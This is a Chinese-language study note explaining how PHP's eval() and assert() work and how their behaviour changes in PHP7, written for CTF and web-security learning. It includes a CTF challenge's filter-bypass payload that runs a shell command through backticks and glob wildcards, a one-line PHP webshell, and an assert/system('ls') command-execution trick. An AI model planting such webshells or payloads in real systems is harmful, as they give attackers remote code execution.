eval和assert的特性经常把我搞懵,所以在这里记录一下。
eval 函数
php官方手册:https://link.jianshu.com/?t=http://php.net/manual/zh/function.eval.php
(PHP 4, PHP 5, PHP 7)
eval — 把字符串作为PHP代码执行
该函数只有一个参数,即需要被执行的字符串代码。
- 代码不能包含打开/关闭PHP标签,但可以用合适的 PHP tag 来离开、重新进入 PHP 模式。
<?php
eval('<?php echo "Hi!"; ?>');
eval('echo "In PHP mode!"; ?>In HTML mode!<?php echo "Hi!";');
例如安恒杯9月月赛web2
<?php
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>
payload:
code=?><?=`/???/??? ????.???`?>
?>
闭合php文件开头的<?php
,<?=
可以输出。就是用了这个特性。
另外这里<? ?>
是短标签,<?php ?>
是长标签。在php的配置文件php.ini中有一个short_open_tag
的值,开启以后可以使用PHP的短标签:<? ?>
同时,只有开启这个才可以使用 <?=
以代替 <? echo
。不过在php7中这个标签被移除了。
- 并且传入的必须是有效的 PHP 代码,所有的语句必须以分号结尾。
- return 语句会立即中止当前字符串的执行。
- 代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
- eval() 返回 NULL,除非在执行的代码中 return 了一个值,函数返回传递给 return 的值。
因为eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
因此一般我们的一句话木马一般都写成
<?php
eval($_POST['2']);
而不是
<?php
$_POST['1']($_POST['2']);
不过我们依然可以传入1=assert&2=system('ls')
来执行命令,也就是我们要说的assert函数。
assert(PHP5 And PHP7)
php官方手册:http://php.net/manual/zh/function.assert.php
(PHP 4, PHP 5, PHP 7)
assert — 检查一个断言是否为 FALSE
- 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assert() 的行为可以通过 assert_options() 来配置。
assert_options
(PHP 4, PHP 5, PHP 7)
assert_options — 设置/获取断言的各种标志
- 在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值
FALSE
会被转换成空字符串。 -
assert_options()
ASSERT_CALLBACK
配置指令允许设置回调函数来处理失败的断言。 - 回调函数应该接受三个参数。 第一个参数包括了断言失败所在的文件。 第二个参数包含了断言失败所在的行号,第三个参数包含了失败的表达式
<?php
// 激活断言,并设置它为 quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);
//创建处理函数
function my_assert_handler($file, $line, $code, $desc = null)
{
echo "Assertion failed at $file:$line: $code";
if ($desc) {
echo ": $desc";
}
echo "n";
}
// 设置回调函数
assert_options(ASSERT_CALLBACK, 'my_assert_handler');
// Make an assertion that should fail
assert('2 < 1', false);
assert('2 < 1', 'Two is less than one');
?>
assert(PHP7)
在PHP7中assert变成了一种语言结构而不是一个函数。
也就是说像eval一样不支持可变函数。
同样的
<?php
$_POST['1']($_POST['2']);
在php7中无法传入1=assert&2=system('ls')
来执行命令
菜刀在实现文件管理器的时候用的恰好也是assert
函数,这导致菜刀没办法在PHP7上正常运行。
另外php7中增加了断言的Expectations
,Expectations
增强了之前的assert
方法,我们可以在开发或者生产环境中使用断言,其提供了可配置选项,我们可以针对不同的环境来使用不同的策略。
我们可以通过在php.ini中设置zend.assertions = -1
来关闭代码执行。
不过默认是打开的也就是zend.assertions = 1
。
具体底层分析可以参考柠檬师傅的文章:从底层分析eval和assert的区别